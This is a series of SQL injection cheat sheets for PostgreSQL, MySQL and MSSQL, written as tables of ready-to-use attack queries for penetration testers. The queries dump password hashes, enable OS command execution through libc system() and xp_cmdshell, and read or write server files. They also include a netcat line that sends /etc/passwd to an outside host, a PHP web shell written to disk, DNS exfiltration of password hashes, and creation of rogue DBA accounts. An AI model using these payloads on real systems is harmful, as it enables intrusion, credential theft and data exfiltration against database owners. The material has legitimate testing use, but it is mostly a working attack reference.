Some useful syntax reminders for SQL Injection into PostgreSQL databases…

This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

The complete list of SQL Injection Cheat Sheets I’m working is:

I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

Version SELECT version()
Comments SELECT 1; –comment
SELECT /*comment*/1;
Current User SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
List Users SELECT usename FROM pg_user
List Password Hashes SELECT usename, passwd FROM pg_shadow — priv
Password Cracker MDCrack can crack PostgreSQL’s MD5-based passwords.
List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA Accounts SELECT usename FROM pg_user WHERE usesuper IS TRUE
Current Database SELECT current_database()
List Databases SELECT datname FROM pg_database
List Columns SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name If you want to list all the table names that contain a column LIKE ‘%password%’:

SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;

Select Nth Row SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char SELECT substr(‘abcd’, 3, 1); — returns c
Bitwise AND SELECT 6 & 2; — returns 2
SELECT 6 & 1; –returns 0
ASCII Value -> Char SELECT chr(65);
Char -> ASCII Value SELECT ascii(‘A’);
Casting SELECT CAST(1 as varchar);
SELECT CAST(’1′ as int);
String Concatenation SELECT ‘A’ || ‘B’; — returnsAB
If Statement IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead.
Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
Avoiding Quotes SELECT CHR(65)||CHR(66); — returns AB
Time Delay SELECT pg_sleep(10); — postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here .
Make DNS Requests Generally not possible in postgres. However if contrib/dblink is installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):

SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);

Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.

Command Execution CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — priv

SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user

Local File Access CREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
DROP TABLE mytest mytest;

Write to a file:

CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user. Generally you won’t be able to write to the web root, but it’s always work a try.
– priv user can also read/write files by mapping libc functions

Hostname, IP Address SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
Create Users CREATE USER test1 PASSWORD ‘pass1′; — priv
CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
Drop Users DROP USER test1; — priv
Make User DBA ALTER USER test1 CREATEUSER CREATEDB; — priv
Location of DB files SELECT current_setting(‘data_directory’); — priv
SELECT current_setting(‘hba_file’); — priv
Default/System Databases template0
template1

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This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

The complete list of SQL Injection Cheat Sheets I’m working is:

I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

Version SELECT @@version
Comments SELECT 1; #comment
SELECT /*comment*/1;
Current User SELECT user();
SELECT system_user();
List Users SELECT user FROM mysql.user; — priv
List Password Hashes SELECT host, user, password FROM mysql.user; — priv
Password Cracker John the Ripper will crack MySQL password hashes.
List Privileges SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs

SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs

SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)

SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns

List DBA Accounts SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;

SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv

Current Database SELECT database()
List Databases SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv
List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
Select Nth Row SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char SELECT substr(‘abcd’, 3, 1); # returns c
Bitwise AND SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
ASCII Value -> Char SELECT char(65); # returns A
Char -> ASCII Value SELECT ascii(‘A’); # returns 65
Casting SELECT cast(’1′ AS unsigned integer);
SELECT cast(’123′ AS char);
String Concatenation SELECT CONCAT(‘A’,'B’); #returns AB
SELECT CONCAT(‘A’,'B’,'C’); # returns ABC
If Statement SELECT if(1=1,’foo’,'bar’); — returns ‘foo’
Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding Quotes SELECT 0×414243; # returns ABC
Time Delay SELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests Impossible?
Command Execution If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
Hostname, IP Address Impossible?
Create Users CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete Users DROP USER test1; — priv
Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
Location of DB files SELECT @@datadir;
Default/System Databases information_schema (>= mysql 5.0)
mysql

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MSSQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into MSSQL databases…

This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

The complete list of SQL Injection Cheat Sheets I’m working is:

I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

Version SELECT @@version
Comments SELECT 1 — comment
SELECT /*comment*/1
Current User SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List Users SELECT name FROM master..syslogins
List Password Hashes SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005
Password Cracker MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these.
List Privileges Impossible?
List DBA Accounts TODO
SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation
SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
Current Database SELECT DB_NAME()
List Databases SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
List Columns SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
List Tables SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
Find Tables From Column Name – NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’
Select Nth Row SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
Select Nth Char SELECT substring(‘abcd’, 3, 1) — returns c
Bitwise AND SELECT 6 & 2 — returns 2
SELECT 6 & 1 — returns 0
ASCII Value -> Char SELECT char(0×41) — returns A
Char -> ASCII Value SELECT ascii(‘A’) – returns 65
Casting SELECT CAST(’1′ as int);
SELECT CAST(1 as char)
String Concatenation SELECT ‘A’ + ‘B’ – returns AB
If Statement IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
Avoiding Quotes SELECT char(65)+char(66) — returns AB
Time Delay WAITFOR DELAY ’0:0:5′ — pause for 5 seconds
Make DNS Requests declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000

declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005

– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
– Also check out theDNS tunnel feature of sqlninja

Command Execution EXEC xp_cmdshell ‘net user’; — priv

On MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:
EXEC sp_configure ‘show advanced options’, 1; — priv
RECONFIGURE; — priv
EXEC sp_configure ‘xp_cmdshell’, 1; — priv
RECONFIGURE; — priv

Local File Access CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM ‘c:boot.ini’;
DROP TABLE mydata;
Hostname, IP Address SELECT HOST_NAME()
Create Users EXEC sp_addlogin ‘user’, ‘pass’; — priv
Drop Users EXEC sp_droplogin ‘user’; — priv
Make User DBA EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv
Location of DB files TODO
Default/System Databases northwind
model
msdb
pubs
tempdb

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